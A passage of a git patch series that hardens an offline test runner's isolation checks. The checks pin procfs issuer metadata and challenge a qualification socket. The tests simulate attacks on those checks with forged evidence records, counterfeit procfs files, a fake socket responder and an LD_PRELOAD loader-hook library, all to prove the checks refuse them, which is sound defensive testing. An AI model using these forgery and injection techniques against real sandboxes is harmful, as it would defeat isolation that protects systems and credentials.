tests/fixtures/offline-fixture-env.py diff --git a/scripts/offline-runner/bootstrap.c b/scripts/offline-runner/bootstrap.c index 62dcc6d919..ff24bcc104 100644 --- a/scripts/offline-runner/bootstrap.c +++ b/scripts/offline-runner/bootstrap.c @@ -4,6 +4,9 @@ #include #include #include +#include +#include +#include #include #include #include @@ -42,12 +45,55 @@ static int fail(const char *stage) { } return 125; } +static int number(const char *,const char *,unsigned long long *); +static int issuer_aliases(const char *record) { + unsigned long long procdev,owner,stamp; + if(!number(record,"issuerProcDev",&procdev)||!number(record,"ownerPid",&owner)||owner!=1||!number(record,"ownerStart",&stamp))return 0; + const char *section=strstr(record,"\"issuer\": {");if(!section)return 0; + const char *names[]={"comm","stat","cmdline",NULL}; + for(int i=0;names[i];i++){ + char key[64],path[128],data[8193];snprintf(key,sizeof(key),"\"%s\": {",names[i]);const char *row=strstr(section,key); + unsigned long long dev,ino;if(!row||!number(row,"dev",&dev)||!number(row,"ino",&ino))return 0; + snprintf(path,sizeof(path),"/run/brain-test/issuer/%s",names[i]);int fd=open(path,O_RDONLY|O_NOFOLLOW|O_CLOEXEC);if(fd<0)return 0; + struct stat info;struct statfs fs;int valid=!fstat(fd,&info)&&!fstatfs(fd,&fs)&&fs.f_type==0x9fa0&&(unsigned long long)info.st_dev==procdev&&(unsigned long long)info.st_dev==dev&&(unsigned long long)info.st_ino==ino; + ssize_t n=valid?read(fd,data,sizeof(data)-1):-1;close(fd);if(n<=0||n>8191)return 0;data[n]=0; + if(i==0&&strcmp(data,"brain-test-init\n"))return 0; + if(i==1){char *tail=strrchr(data,')');if(!tail||tail[1]!=' ')return 0;char *save=NULL,*field=strtok_r(tail+2," ",&save);for(int at=0;at<19&&field;at++)field=strtok_r(NULL," ",&save);char *end;if(!field||strtoull(field,&end,10)!=stamp||(*end&&*end!='\n'))return 0;} + if(i==2){char *args[4],*at=data;for(int k=0;k<4;k++){if(at>=data+n)return 0;args[k]=at;char *end=memchr(at,0,(size_t)(data+n-at));if(!end)return 0;at=end+1;}if(strcmp(args[1],"-I")||strcmp(args[2],"-S")||(strcmp(args[3],BRAIN_TEST_ROOT "/scripts/offline-runner/runner.py")&&strcmp(args[3],"/usr/local/libexec/brain-test/runner.py")))return 0;} + } + return 1; +} +static int fixture_environment_qualified(const char *record) { + if(!issuer_aliases(record))return 0; + const char *endpoint="/run/brain-test/qualify.sock";struct stat info;unsigned long long dev,ino; + const char *qualifier=strstr(record,"\"qualifier\": {"); + if(!qualifier||!number(qualifier,"dev",&dev)||!number(qualifier,"ino",&ino)||lstat(endpoint,&info)||!S_ISSOCK(info.st_mode)||(unsigned long long)info.st_dev!=dev||(unsigned long long)info.st_ino!=ino)return 0; + int fd=socket(AF_UNIX,SOCK_SEQPACKET|SOCK_CLOEXEC,0);if(fd<0)return 0; + struct timeval timeout={5,0};setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,&timeout,sizeof(timeout));setsockopt(fd,SOL_SOCKET,SO_SNDTIMEO,&timeout,sizeof(timeout)); + struct sockaddr_un address={.sun_family=AF_UNIX};strcpy(address.sun_path,endpoint); + struct ucred peer;socklen_t peer_size=sizeof(peer);char reply[32769];ssize_t size=-1; + if(!connect(fd,(struct sockaddr *)&address,sizeof(address))&&!getsockopt(fd,SOL_SOCKET,SO_PEERCRED,&peer,&peer_size)&&peer.uid==info.st_uid&&send(fd,"qualify",7,MSG_NOSIGNAL)==7)size=recv(fd,reply,sizeof(reply)-1,MSG_TRUNC); + close(fd);if(size<=0||size>=(ssize_t)sizeof(reply)-1)return 0;reply[size]=0; + const char *hash=strstr(reply,"\"mountHash\": \"");if(!hash)return 0;hash+=14;if(strlen(hash)<65)return 0; + for(int i=0;i<64;i++)if(!isxdigit((unsigned char)hash[i])||(hash[i]>='A'&&hash[i]<='F'))return 0; + if(hash[64]!='\"')return 0; + char digest[65];memcpy(digest,hash,64);digest[64]=0; + char namespaces[1024]={0};size_t used=0;const char *names[]={"net","mnt","ipc","pid","user",NULL}; + for(int i=0;names[i];i++){char path[128],value[128];snprintf(path,sizeof(path),"/proc/self/ns/%s",names[i]);ssize_t count=readlink(path,value,sizeof(value)-1);if(count<0)return 0;value[count]=0;int added=snprintf(namespaces+used,sizeof(namespaces)-used,"%s\"%s\": \"%s\"",i?", ":"",names[i],value);if(added<0||(size_t)added>=sizeof(namespaces)-used)return 0;used+=(size_t)added;} + gid_t groups[256];int count=getgroups(256,groups);if(count<0)return 0;char group_list[4096]={0};used=0; + for(int i=0;i=sizeof(group_list)-used)return 0;used+=(size_t)added;} + char expected[8192];int length=snprintf(expected,sizeof(expected),"{\"version\": 1, \"namespaces\": {%s}, \"mountHash\": \"%s\", \"identity\": {\"uid\": %lu, \"gid\": %lu, \"groups\": [%s]}}",namespaces,digest,(unsigned long)getuid(),(unsigned long)getgid(),group_list); + /* The fixed service emits one canonical reply schema. Any failure only + * strips fixture environment; Python independently gates the payload. */ + return length>0&&(size_t)length 8192: + raise ValueError('issuer metadata bound') + finally: + os.close(fd) + fields = values['stat'].decode().rsplit(') ', 1)[1].split() + command = values['cmdline'].split(b'\0') + expected = (os.fsencode(pathlib.Path(record['root']) / 'scripts/offline-runner/runner.py'), b'/usr/local/libexec/brain-test/runner.py') + if record['ownerPid'] != 1 or fields[19] != record['ownerStart'] or values['comm'] != b'brain-test-init\n' or len(command) < 5 or command[1:3] != [b'-I', b'-S'] or command[3] not in expected: + raise ValueError('issuer identity changed') diff --git a/scripts/offline-runner/prepare.sh b/scripts/offline-runner/prepare.sh index 708b1fb898..0675a5b76a 100755 --- a/scripts/offline-runner/prepare.sh +++ b/scripts/offline-runner/prepare.sh @@ -21,7 +21,7 @@ printf 'Prepared static test entry. Add %s/.test-tools to PATH before invoking p if [[ "${1:-}" = --install-system ]]; then [[ $(id -u) = 0 ]] || { echo 'Install the fixed setup entry explicitly as root.' >&2; exit 1; } install -d -m 0755 /usr/local/libexec/brain-test - for runner_part in runner.py inputs.py system_inputs.py system-inputs.json view_client.py view_service.py; do + for runner_part in runner.py inputs.py system_inputs.py system-inputs.json view_client.py view_service.py issuer.py; do install -m 0644 "$runner_root/scripts/offline-runner/$runner_part" "/usr/local/libexec/brain-test/$runner_part" done "$runner_cc" -static -O2 -Wall -Wextra -Werror \ diff --git a/scripts/offline-runner/proof.py b/scripts/offline-runner/proof.py index 71aeb30ccf..f09b91d9ea 100644 --- a/scripts/offline-runner/proof.py +++ b/scripts/offline-runner/proof.py @@ -325,36 +325,42 @@ def rootless_selection_controls(only=None): def forged_evidence_control(): - child=os.fork() - if child==0: - try: - named(LIBC.unshare(0x20000)==0,'FORGED_CONTROL_PRIVATE_MOUNT') - named(LIBC.mount(None,b'/',None,16384|(1<<18),None)==0,'FORGED_CONTROL_PRIVATE_PROPAGATION') - named(LIBC.mount(b'tmpfs',b'/run',b'tmpfs',0,None)==0,'FORGED_CONTROL_PRIVATE_RUN') - folder=pathlib.Path('/run/brain-test');folder.mkdir() - record={'version':1,'profile':'root','root':str(ROOT),'ownerPid':os.getpid(),'ownerStart':pathlib.Path('/proc/self/stat').read_text().rsplit(') ',1)[1].split()[19],'namespaces':{key:os.readlink('/proc/self/ns/'+key) for key in ('net','mnt','ipc','pid','user')},'identity':{'uid':0,'gid':0,'groups':os.getgroups()}} - file=folder/'record.json';file.write_text('{}');os.chmod(file,0o444) - named(LIBC.mount(os.fsencode(file),os.fsencode(file),None,4096,None)==0,'FORGED_CONTROL_RECORD_BIND') - record['mountHash']=__import__('hashlib').sha256(pathlib.Path('/proc/self/mountinfo').read_bytes()).hexdigest() - file.write_text(json.dumps(record)) - named(LIBC.mount(None,os.fsencode(file),None,4096|32|1,None)==0,'FORGED_CONTROL_RECORD_READONLY') - # Recompute after the readonly remount through the held writable fd. - fd=os.open(file,os.O_RDONLY) - # The forged record deliberately gets the current mount key right; - # the issuer check, rather than a stale key, must reject it. - named(LIBC.mount(None,os.fsencode(file),None,4096|32,None)==0,'FORGED_CONTROL_UPDATE') - record['mountHash']=__import__('hashlib').sha256(pathlib.Path('/proc/self/mountinfo').read_bytes()).hexdigest() - file.write_text(json.dumps(record));os.close(fd) - command=['/usr/bin/setpriv','--reuid=1000','--regid=1000','--clear-groups','--inh-caps=-all','--ambient-caps=-all','--bounding-set=-all',str(ENTRY),'/usr/bin/python3','-I','-S','-c','print("FORGED_EVIDENCE_PAYLOAD_RAN")'] - result=subprocess.run(command,capture_output=True,text=True) - named(result.returncode==125 and 'borrowed issuer' in result.stderr,'F4_FORGED_ISSUER_REFUSES: '+result.stderr) - named('FORGED_EVIDENCE_PAYLOAD_RAN' not in result.stdout,'F4_FORGED_MARKER_NEVER_EXECUTES_PAYLOAD') - os._exit(0) - except BaseException: - __import__('traceback').print_exc();os._exit(1) - _,status=os.waitpid(child,0) - named(os.waitstatus_to_exitcode(status)==0,'F4_FORGED_LAUNCHER_EVIDENCE') - print(json.dumps({'proof':'F4_FORGED_LAUNCHER_EVIDENCE','result':'pass'}),flush=True) + # Keep a genuine issuer alive, but challenge it from outside its ancestry. + code="import json,os,pathlib,sys;print(json.dumps({'pid':os.getpid(),'namespaces':{k:os.readlink('/proc/self/ns/'+k) for k in ('net','mnt','ipc','pid','user')}}),flush=True);sys.stdin.readline()" + owner=subprocess.Popen([str(ENTRY),'/usr/bin/python3','-I','-S','-c',code],stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,text=True) + try: + named(bool(select.select([owner.stdout],[],[],60)[0]),'F4_GENUINE_ISSUER_READY') + ready=json.loads(owner.stdout.readline());pending=[owner.pid];candidates=[] + while pending: + pid=pending.pop() + try: + pending.extend(map(int,pathlib.Path('/proc/%d/task/%d/children'%(pid,pid)).read_text().split())) + if os.readlink('/proc/%d/ns/pid'%pid)==ready['namespaces']['pid'] and int(pathlib.Path('/proc/%d/status'%pid).read_text().split('NSpid:')[1].splitlines()[0].split()[-1])==ready['pid']:candidates.append(pid) + except (FileNotFoundError,ProcessLookupError):pass + named(len(candidates)==1,'F4_GENUINE_ISSUER_EXACT_PAYLOAD') + issuer_root='/proc/%d/root'%candidates[0] + base=json.loads(pathlib.Path('/proc/%d/root/run/brain-test/record.json'%candidates[0]).read_text()) + child=os.fork() + if child==0: + try: + spec=__import__('importlib.util',fromlist=['']).spec_from_file_location('client',ROOT/'scripts/offline-runner/view_client.py') + client=__import__('importlib.util',fromlist=['']).module_from_spec(spec);spec.loader.exec_module(client) + # Use the genuine socket through its owner's root without + # changing this unrelated process's namespace or ancestry. + os.chroot(issuer_root);os.chdir('/') + os.setgroups([]);os.setgid(1000);os.setuid(1000) + try:client.request(base) + except (OSError,ValueError,KeyError):pass + else:raise AssertionError('F4_FORGED_MARKER_MUST_REFUSE_THROUGH_LIVE_CHALLENGE') + os._exit(0) + except BaseException:__import__('traceback').print_exc();os._exit(1) + _,status=os.waitpid(child,0) + named(os.waitstatus_to_exitcode(status)==0,'F4_FORGED_CONTROL_CHILD_COMPLETED') + print(json.dumps({'proof':'F4_FORGED_MARKER_MUST_REFUSE_THROUGH_LIVE_CHALLENGE','result':'pass'}),flush=True) + finally: + if owner.poll() is None: + try:owner.stdin.write('done\n');owner.stdin.flush();owner.communicate(timeout=15) + except BaseException:owner.kill();owner.communicate() def changed_mount_control(): diff --git a/scripts/offline-runner/qualification.ts b/scripts/offline-runner/qualification.ts index 4c3cc69541..5d607389e8 100644 --- a/scripts/offline-runner/qualification.ts +++ b/scripts/offline-runner/qualification.ts @@ -1,18 +1,30 @@ /** Constant-size runner-view checks; no product stages or fixture bytes. */ +import {dlopen,ptr} from "bun:ffi"; import {createHash} from "node:crypto"; -import {readFileSync,lstatSync,statSync} from "node:fs"; +import {readFileSync,lstatSync,statSync,openSync,closeSync,fstatSync} from "node:fs"; export const OFFLINE_SETUP_REFUSAL="offline native isolation unavailable: setup failed"; +const issuerFs=process.platform==="linux"?dlopen("libc.so.6",{fstatfs:{args:["i32","ptr"],returns:"i32"}}):undefined; let issuerChallenged=false; const recordPath="/run/brain-test/record.json"; -type RecordView={root:string;version:1;profile:"root"|"rootless";namespaces:Record;mountHash:string;ownerPid:number;ownerStart:string;identity:{uid:number;gid:number;groups:number[]}}; +type RecordView={root:string;version:1;profile:"root"|"rootless";namespaces:Record;mountHash:string;ownerPid:number;ownerStart:string;identity:{uid:number;gid:number;groups:number[]};issuerProcDev:number;issuer:Record}; export function requireOfflineRunner():RecordView { try{ const info=lstatSync(recordPath);if(!info.isFile()||(info.mode&0o777)!==0o444||info.nlink!==1)throw Error("record"); let record=JSON.parse(readFileSync(recordPath,"utf8")) as RecordView; - if(record.ownerPid!==1||readFileSync("/proc/1/comm","utf8").trim()!=="brain-test-init"||record.version!==1||!["root","rootless"].includes(record.profile)||!Number.isSafeInteger(record.ownerPid)||!/^\d+$/.test(record.ownerStart)||!/^[a-f0-9]{64}$/.test(record.mountHash))throw Error("schema"); - const owner=readFileSync(`/proc/${record.ownerPid}/stat`,"utf8").replace(/^.*\) /s,"").split(" ")[19]; - const issuer=readFileSync(`/proc/${record.ownerPid}/cmdline`,"utf8").split("\0"); - if(owner!==record.ownerStart||issuer[1]!=="-I"||issuer[2]!=="-S"||![`${record.root}/scripts/offline-runner/runner.py`,"/usr/local/libexec/brain-test/runner.py"].includes(issuer[3]!))throw Error("issuer"); + if(record.ownerPid!==1||record.version!==1||!["root","rootless"].includes(record.profile)||!/^\d+$/.test(record.ownerStart)||!/^[a-f0-9]{64}$/.test(record.mountHash))throw Error("schema"); + const issuerValues:Record={}; + for(const name of ["comm","stat","cmdline"]){ + const fd=openSync(`/run/brain-test/issuer/${name}`,0x20000); // O_NOFOLLOW + try{ + const info=fstatSync(fd),expected=record.issuer[name]; + const filesystem=new BigInt64Array(32); + if(!issuerFs||issuerFs.symbols.fstatfs(fd,ptr(filesystem))!==0||filesystem[0]!==0x9fa0n||info.dev!==record.issuerProcDev||info.dev!==expected?.dev||info.ino!==expected?.ino)throw Error("issuer is not the pinned procfs entry"); + const value=readFileSync(fd,"utf8");if(Buffer.byteLength(value)>8192)throw Error("issuer metadata bound");issuerValues[name]=value; + }finally{closeSync(fd);} + } + const owner=issuerValues.stat!.replace(/^.*\) /s,"").split(" ")[19]; + const issuer=issuerValues.cmdline!.split("\0"); + if(owner!==record.ownerStart||issuerValues.comm!=="brain-test-init\n"||issuer[1]!=="-I"||issuer[2]!=="-S"||![`${record.root}/scripts/offline-runner/runner.py`,"/usr/local/libexec/brain-test/runner.py"].includes(issuer[3]!))throw Error("issuer"); const current=()=>["net","mnt","ipc","pid","user"].every(key=>String(statSync(`/proc/self/ns/${key}`).ino)===record.namespaces[key]?.match(/\[(\d+)\]/)?.[1]); const fingerprint=()=>createHash("sha256").update(readFileSync("/proc/self/mountinfo")).digest("hex"); const identity=()=>process.getuid!()===record.identity.uid&&process.getgid!()===record.identity.gid&&JSON.stringify(process.getgroups!())===JSON.stringify(record.identity.groups); diff --git a/scripts/offline-runner/runner.py b/scripts/offline-runner/runner.py index 7fdb9271b4..694b5d2b99 100644 --- a/scripts/offline-runner/runner.py +++ b/scripts/offline-runner/runner.py @@ -263,6 +263,9 @@ def finish_view(backing, prepared, caller, profile, before): client_source = pathlib.Path(__file__).with_name('view_client.py') client_target = view / 'run/brain-test/view_client.py' shutil.copyfile(client_source,client_target);os.chmod(client_target,0o444);bind(client_target,client_target) + issuer_target = view / 'run/brain-test/issuer.py' + shutil.copyfile(pathlib.Path(__file__).with_name('issuer.py'), issuer_target) + os.chmod(issuer_target, 0o444); bind(issuer_target, issuer_target) # A chroot below the mount namespace root forbids later CLONE_NEWUSER. # Pivot the final private view so ordinary product bwrap still works. old_root=view/'.old-root';old_root.mkdir(mode=0o700) @@ -298,13 +301,21 @@ def finish_view(backing, prepared, caller, profile, before): # Finalize every mount before issuing evidence. Only this setup-owned # original fd can write the record; it closes before the runner starts. bind(record_file, record_file) + syscall(LIBC.prctl(15,ctypes.c_char_p(b'brain-test-init'),0,0,0),'finalized init identity') + issuer_root = pathlib.Path('/run/brain-test/issuer'); issuer_root.mkdir() + record['issuerProcDev'] = os.stat('/proc').st_dev + record['issuer'] = {} + for name in ('comm', 'stat', 'cmdline'): + source = pathlib.Path('/proc/1') / name + info = source.stat() + record['issuer'][name] = {'dev': info.st_dev, 'ino': info.st_ino} + bind(source, issuer_root / name) bind('/run/brain-test','/run/brain-test') controller=unit_controller() and profile=='root' if controller: for name in ('unit-workers.ts','unit-prepared-tree.ts','unit-worker-entry.sh'): fixed=ROOT/'scripts'/name bind(fixed,fixed) - syscall(LIBC.prctl(15,ctypes.c_char_p(b'brain-test-init'),0,0,0),'finalized init identity') record['mountHash'] = mount_hash() evidence.write(json.dumps(record)) evidence.flush() @@ -623,12 +634,9 @@ def borrowed_view(): record = json.loads(path.read_text()) if not stat.S_ISREG(info.st_mode) or info.st_mode & 0o777 != 0o444 or record['version'] != 1: raise OSError(errno.EPERM, 'borrowed record') - if start(record['ownerPid']) != record['ownerStart']: - raise OSError(errno.ESRCH, 'borrowed owner') - issuer = pathlib.Path('/proc/%d/cmdline' % record['ownerPid']).read_bytes().split(b'\0') - expected = (os.fsencode(TOOL_ROOT / 'scripts/offline-runner/runner.py'), b'/usr/local/libexec/brain-test/runner.py') - if record['ownerPid']!=1 or pathlib.Path('/proc/1/comm').read_text().strip()!='brain-test-init' or len(issuer) < 5 or issuer[1:3] != [b'-I', b'-S'] or issuer[3] not in expected: - raise OSError(errno.EPERM, 'borrowed issuer') + issuer_spec=importlib.util.spec_from_file_location('issuer','/run/brain-test/issuer.py') + issuer=importlib.util.module_from_spec(issuer_spec);issuer_spec.loader.exec_module(issuer) + issuer.verify(record) # Every static entry challenges the live issuer, even in the original # view. A matching JSON marker alone never issues qualification. spec=importlib.util.spec_from_file_location('view_client','/run/brain-test/view_client.py') diff --git a/tests/fixtures/offline-fixture-env.py b/tests/fixtures/offline-fixture-env.py new file mode 100644 index 0000000000..144fb6a06d --- /dev/null +++ b/tests/fixtures/offline-fixture-env.py @@ -0,0 +1,87 @@ +"""Real static-bootstrap env controls with private fixture-only record/socket paths.""" +import json +import os +import pathlib +import socket +import subprocess +import sys +import tempfile +import threading + +root = pathlib.Path(sys.argv[1]) +keys = ['GEMINI_API_KEY', 'ANTHROPIC_API_KEY', 'GOOGLE_API_KEY', 'TYPESAFE_API_KEY'] +base = json.loads(pathlib.Path('/run/brain-test/record.json').read_text()) +source = (root / 'scripts/offline-runner/bootstrap.c').read_text() + +def named(condition, name): + if not condition: + raise AssertionError(name) + +with tempfile.TemporaryDirectory(prefix='odysseus-env-proof-') as folder: + folder = pathlib.Path(folder) + marker = folder / 'loader-ran' + library = folder / 'loader.so' + library_source = folder / 'loader.c' + library_source.write_text('#include \n#include \n#include \n__attribute__((constructor)) static void witness(void){const char *p=getenv("ODYSSEUS_LD_SENTINEL");if(p){int fd=open(p,O_CREAT|O_WRONLY,0600);if(fd>=0)close(fd);}}\n') + subprocess.run(['cc','-shared','-fPIC',str(library_source),'-o',str(library)],check=True) + env = {**os.environ, **{key:'fixture-bogus-key' for key in keys}, 'LD_PRELOAD':str(library), 'ODYSSEUS_LD_SENTINEL':str(marker)} + subprocess.run(['/usr/bin/true'],env=env,check=True) + named(marker.exists(),'U9_LOADER_SENTINEL_POSITIVE_CONTROL');marker.unlink() + observer = folder / 'observer.py' + observer.write_text('import os,json;print(json.dumps({"count":sum(os.environ.get(key)=="fixture-bogus-key" for key in '+repr(keys)+')}))\n') + payload='import os,json;print(json.dumps({"count":sum(os.environ.get(key)=="fixture-bogus-key" for key in '+repr(keys)+')}))' + # The dynamic intermediary receives no loader hook. It adds the synthetic + # sentinel only immediately before execve of the real static entry. + intermediary='import os;os.environ.update('+repr({key:env[key] for key in [*keys,'LD_PRELOAD','ODYSSEUS_LD_SENTINEL']})+');os.execv("/run/brain-test/entry",["/run/brain-test/entry","/usr/bin/python3","-I","-S","-c",'+repr(payload)+'])' + clean = {key:value for key,value in os.environ.items() if not key.startswith('LD_')} + actual=subprocess.run(['/usr/bin/unshare','--user','--map-current-user','--mount','--','/usr/bin/python3','-I','-S','-c',intermediary],env=clean,capture_output=True,text=True) + named(actual.returncode==0 and json.loads(actual.stdout)['count']==4,'U9_QUALIFIED_DERIVED_VIEW_KEEPS_FOUR_KEYS: '+actual.stderr) + named(not marker.exists(),'U9_QUALIFIED_LOADER_SENTINEL_STAYS_SILENT') + + endpoint=folder/'qualify.sock' + listener=socket.socket(socket.AF_UNIX,socket.SOCK_SEQPACKET);listener.bind(str(endpoint));listener.listen();listener.settimeout(.1) + ended=threading.Event() + def responder(): + while not ended.is_set(): + try:peer,_=listener.accept() + except socket.timeout:continue + with peer: + named(peer.recv(32)==b'qualify','U9_CLOSED_REQUEST_ONLY') + peer.sendall(b'{"refused":true}') + thread=threading.Thread(target=responder);thread.start() + try: + info=endpoint.stat() + forged={**base,'qualifier':{'dev':info.st_dev,'ino':info.st_ino,'uid':os.getuid()},'namespaces':{key:'proof-changed-view' for key in base['namespaces']}} + record=folder/'record.json';record.write_text(json.dumps(forged));os.chmod(record,0o444) + # Only fixture endpoints and the observation executable differ. The + # actual issuer aliases and all static qualification logic stay real. + fixed=source.replace('"/run/brain-test/record.json"',json.dumps(str(record))).replace('"/run/brain-test/qualify.sock"',json.dumps(str(endpoint))) + def compile_entry(text, name): + file=folder/(name+'.c');file.write_text(text);binary=folder/name + subprocess.run(['cc','-static','-O2','-Wall','-Wextra','-Werror','-DBRAIN_TEST_ROOT='+json.dumps(str(root)),'-DBRAIN_TEST_BUN='+json.dumps('/usr/bin/true'),'-DBRAIN_TEST_SETUP='+json.dumps(str(observer)),str(file),'-o',str(binary)],check=True) + return binary + def check(binary): + result=subprocess.run([str(binary),'/usr/bin/true'],env=env,capture_output=True,text=True) + named(result.returncode==0,'U9_FIXTURE_OBSERVER_STARTS: '+result.stderr) + named(json.loads(result.stdout)['count']==0,'U9_COUNTERFEIT_RESPONDER_STRIPS_FIXTURE_ENV') + named(not marker.exists(),'U9_COUNTERFEIT_LOADER_SENTINEL_STAYS_SILENT') + check(compile_entry(fixed,'entry')) + begin=fixed.index(' const char *hash=strstr(reply,') + end=fixed.index('\n}\nstatic int inside_view',begin) + mutated=fixed[:begin]+' return 1; /* mutation: ignore the qualification reply */'+fixed[end:] + try:check(compile_entry(mutated,'mutant')) + except AssertionError as error: + named(str(error)=='U9_COUNTERFEIT_RESPONDER_STRIPS_FIXTURE_ENV','U9_MUTATION_FAILS_NAMED_ASSERTION') + print(json.dumps({'mutation':'U9_SKIP_QUALIFY_REPLY','assertion':str(error),'result':'named failure'}),flush=True) + else:raise AssertionError('U9_SKIP_REPLY_MUTATION_MUST_FAIL') + check(compile_entry(fixed,'restored')) + fake_alias=folder/'issuer';fake_alias.mkdir() + for name in ('comm','stat','cmdline'): + target=fake_alias/name;target.write_bytes(pathlib.Path('/run/brain-test/issuer',name).read_bytes());info=target.stat() + forged['issuer'][name]={'dev':info.st_dev,'ino':info.st_ino};forged['issuerProcDev']=info.st_dev + os.chmod(record,0o600);record.write_text(json.dumps(forged));os.chmod(record,0o444) + invalid=fixed.replace('/run/brain-test/issuer/%s',str(fake_alias)+'/%s') + check(compile_entry(invalid,'unqualified')) + print(json.dumps({'proof':'U9_STATIC_FIXTURE_ENV_QUALIFICATION','qualifiedKeys':4,'counterfeitKeys':0,'unqualifiedKeys':0,'loaderSentinel':'silent','restored':'pass'}),flush=True) + finally: + ended.set();thread.join();listener.close() diff --git a/tests/offline-runner.test.ts b/tests/offline-runner.test.ts index c07016c7d8..405f08a123 100644 --- a/tests/offline-runner.test.ts +++ b/tests/offline-runner.test.ts @@ -1,5 +1,5 @@ import {expect,test} from "bun:test"; -import {readFileSync,writeSync,writeFileSync,mkdtempSync,rmSync,existsSync,statSync,statfsSync} from "node:fs"; +import {chmodSync,readFileSync,writeSync,writeFileSync,mkdtempSync,rmSync,existsSync,statSync,statfsSync} from "node:fs"; import {createHash} from "node:crypto"; import {join} from "node:path"; import {captureNativeReceipts} from "../scripts/native-test-receipts"; @@ -142,3 +142,43 @@ for(const parent of ["/opt","/srv","/mnt","/media","/var","/root"])test(`a child expect(readFileSync("/proc/self/mountinfo","utf8"),"PARENT_ADMITTED_MOUNTS_UNCHANGED").toBe(before); }finally{rmSync(scratch,{recursive:true,force:true});} },watchdogMs(15000)); + +test("a nested PID view verifies the original init through pinned procfs metadata",async()=>{ + const child=Bun.spawn(["bwrap","--unshare-user","--unshare-pid","--ro-bind","/","/","--proc","/proc","--dev","/dev","--cap-drop","ALL","--",process.execPath,"--no-env-file","-e", + `import {requireOfflineRunner} from ${JSON.stringify(new URL("../scripts/offline-runner/qualification.ts",import.meta.url).pathname)};requireOfflineRunner();console.log("NESTED_PID_ISSUER_QUALIFIED");`],{stdin:"ignore",stdout:"pipe",stderr:"pipe"}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(code,"NESTED_PID_ISSUER_QUALIFIED: "+err).toBe(0);expect(out).toBe("NESTED_PID_ISSUER_QUALIFIED\n"); +}); + +test("regular files cannot counterfeit pinned procfs issuer metadata",async()=>{ + const directory=mkdtempSync("/tmp/odysseus-fake-issuer-"); + try{ + for(const name of ["comm","stat","cmdline"])writeFileSync(join(directory,name),readFileSync(`/run/brain-test/issuer/${name}`)); + const code=`import importlib.util,json,os,pathlib +spec=importlib.util.spec_from_file_location('issuer','/run/brain-test/issuer.py');issuer=importlib.util.module_from_spec(spec);spec.loader.exec_module(issuer) +record=json.loads(pathlib.Path('/run/brain-test/record.json').read_text()) +for name in ('comm','stat','cmdline'): + info=os.stat('/run/brain-test/issuer/'+name);record['issuer'][name]={'dev':info.st_dev,'ino':info.st_ino};record['issuerProcDev']=info.st_dev +try:issuer.verify(record) +except ValueError as error: + assert str(error)=='issuer is not the pinned procfs entry';print('FAKE_REGULAR_ISSUER_REFUSED') +else:raise AssertionError('FAKE_REGULAR_ISSUER_MUST_REFUSE')`; + const child=Bun.spawn(["bwrap","--unshare-user","--ro-bind","/","/","--ro-bind",directory,"/run/brain-test/issuer","--cap-drop","ALL","--","/usr/bin/python3","-I","-S","-c",code],{stdin:"ignore",stdout:"pipe",stderr:"pipe"}); + const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(exit,"FAKE_REGULAR_ISSUER_MUST_REFUSE: "+err).toBe(0);expect(out).toBe("FAKE_REGULAR_ISSUER_REFUSED\n"); + const record=JSON.parse(readFileSync("/run/brain-test/record.json","utf8")); + for(const name of ["comm","stat","cmdline"]){const info=statSync(join(directory,name));record.issuer[name]={dev:info.dev,ino:info.ino};record.issuerProcDev=info.dev;} + const fakeRecord=join(directory,"record.json");writeFileSync(fakeRecord,JSON.stringify(record));chmodSync(fakeRecord,0o444); + const program=`import {requireOfflineRunner} from ${JSON.stringify(new URL("../scripts/offline-runner/qualification.ts",import.meta.url).pathname)};try{requireOfflineRunner();process.exit(9);}catch(error){if(error.cause?.message!=="issuer is not the pinned procfs entry")throw error;console.log("FAKE_REGULAR_TYPESCRIPT_ISSUER_REFUSED");}`; + const typed=Bun.spawn(["bwrap","--unshare-user","--ro-bind","/","/","--proc","/proc","--dev","/dev","--ro-bind",directory,"/run/brain-test/issuer","--ro-bind",fakeRecord,"/run/brain-test/record.json","--cap-drop","ALL","--",process.execPath,"--no-env-file","-e",program],{stdin:"ignore",stdout:"pipe",stderr:"pipe"}); + const [typedCode,typedOut,typedErr]=await Promise.all([typed.exited,new Response(typed.stdout).text(),new Response(typed.stderr).text()]); + expect(typedCode,"FAKE_REGULAR_TYPESCRIPT_ISSUER_MUST_REFUSE: "+typedErr).toBe(0);expect(typedOut).toBe("FAKE_REGULAR_TYPESCRIPT_ISSUER_REFUSED\n"); + }finally{rmSync(directory,{recursive:true,force:true});} +}); + +test("static entry preserves qualified fixture env and strips counterfeit env and loader hooks",async()=>{ + const child=Bun.spawn(["/usr/bin/python3","-I","-S",new URL("./fixtures/offline-fixture-env.py",import.meta.url).pathname,new URL("../",import.meta.url).pathname.replace(/\/$/,"")],{stdin:"ignore",stdout:"pipe",stderr:"pipe"}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(code,"U9_STATIC_FIXTURE_ENV_QUALIFICATION: "+out+err).toBe(0); + expect(out).toContain('"qualifiedKeys": 4');expect(out).toContain('"counterfeitKeys": 0');expect(out).toContain('"result": "named failure"'); +},watchdogMs(30000)); From 308610b7700781194f8dd7ec5e29f80efd6251e7 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 24 Nov 2026 08:45:57 +0000 Subject: [PATCH 186/187] test: preserve OS pipe and writable temp paths in standalone fixtures --- packages/ui-react/tests/fixtures/runtime-package-build.ts | 8 ++++++-- scripts/offline-runner/pipes.ts | 3 ++- tests/helpers/planning-control.ts | 2 +- tests/test-invocation.test.ts | 6 ++++-- 4 files changed, 13 insertions(+), 6 deletions(-) diff --git a/packages/ui-react/tests/fixtures/runtime-package-build.ts b/packages/ui-react/tests/fixtures/runtime-package-build.ts index 1ae9d86f43..6bd72a7669 100644 --- a/packages/ui-react/tests/fixtures/runtime-package-build.ts +++ b/packages/ui-react/tests/fixtures/runtime-package-build.ts @@ -1,6 +1,7 @@ /** Checked same-invocation preparation, otherwise the ordinary fresh builder. */ import { invocationBuild, externalSpeechDelegation } from "../../../../scripts/test-invocation"; import { inheritWorkspaceLease } from "../../../../scripts/workspace-lease.mjs"; +import { spawnEntry } from "../../../../scripts/offline-runner/pipes"; import { runtimeHookPhases } from "./runtime-hook-phases"; export { externalSpeechDelegation }; @@ -16,8 +17,11 @@ 